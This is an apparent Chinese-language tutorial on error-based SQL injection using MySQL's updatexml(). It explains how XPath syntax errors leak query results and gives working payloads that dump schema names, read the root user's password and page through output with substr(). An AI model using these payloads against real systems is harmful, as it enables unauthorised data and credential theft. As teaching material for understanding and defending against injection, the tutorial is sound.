SQL注入时,经常利用updatexml()
的报错特性来脱库。
updatexml报错原理
updatexml()
的作用是修改xml文件的内容。
1、updatexml语法参数
updatexml(参数1,参数2,参数3)
- 参数1: 文件名,比如
a.xm
- 参数2:路径,比如
contry->city1
- 参数3:替换的值内容,比如
tianjing
就是把 a.xm
文件中 contry->city1
标签的值改成 tianjing
2、报错原理分析
参数2 的路径必须符合 XML 的 Xpath 语法,否则就会报错,提示你语法错误,并且把报错位置的内容显示出来。
比如我给参数2一个特殊符号~
,它就会把这个特殊符号显示出来。
如果函数里还有函数,他就会先执行里面的那个函数,类似小学数学里提到的"先算括号内,再算括号外",利用这个特性,我们在updatexml()
里插入别的函数。
select updatexml(1,concat('~',database()),3);
- 它会先执行最里面的
database()
,查看到前使用的数据库是test。
select updatexml(1,concat('~',test),3);
- 再执行
concat()
,拼接成~test
。
select updatexml(1,‘~test’,3);
- 再执行
updatexml()
,一看参数2是~test
,不符合Xpath语法,就报语法错误,停止执行SQL,然后把报错位置的参数显示出来。像下图的执行结果那样,我们就拿到了当前使用的数据库。
3、使用updatexml()脱库
按照上一步的逻辑,在函数中再插入括号,括号里写SQL语句,就能执行任意SQL,比如:查看root用户的密码。
select updatexml(1,concat('~',
(select password from user where username='root')
),3);
插入脱库语法来脱裤。
select updatexml(1,
concat('~',(
select group_concat(schema_name)
from information_schema.schemata
)),3);
这里大家能注意到,我文章中的SQL故意换行了,这个换行不是语法要求,是给你自己看的,否则嵌套这么多括号,很容易写错。
4、分割显示结果
updatexml()
显示的报错内容字符串,最大长度是31个字符。脱库的结果显示不全,我们可以用 substr()
截取不同位置的字符串,分别显示出来。
比如:从第1个字符开始,截取31个字符。
select updatexml(1,concat('~',
substr(
(select group_concat(schema_name)
from information_schema.schemata)
,1,31)
),3);
从第32个字符开始,截取31个字符。
select updatexml(1,concat('~',
substr(
(select group_concat(schema_name)
from information_schema.schemata)
,32,31)
),3);
直到显示完所有字符。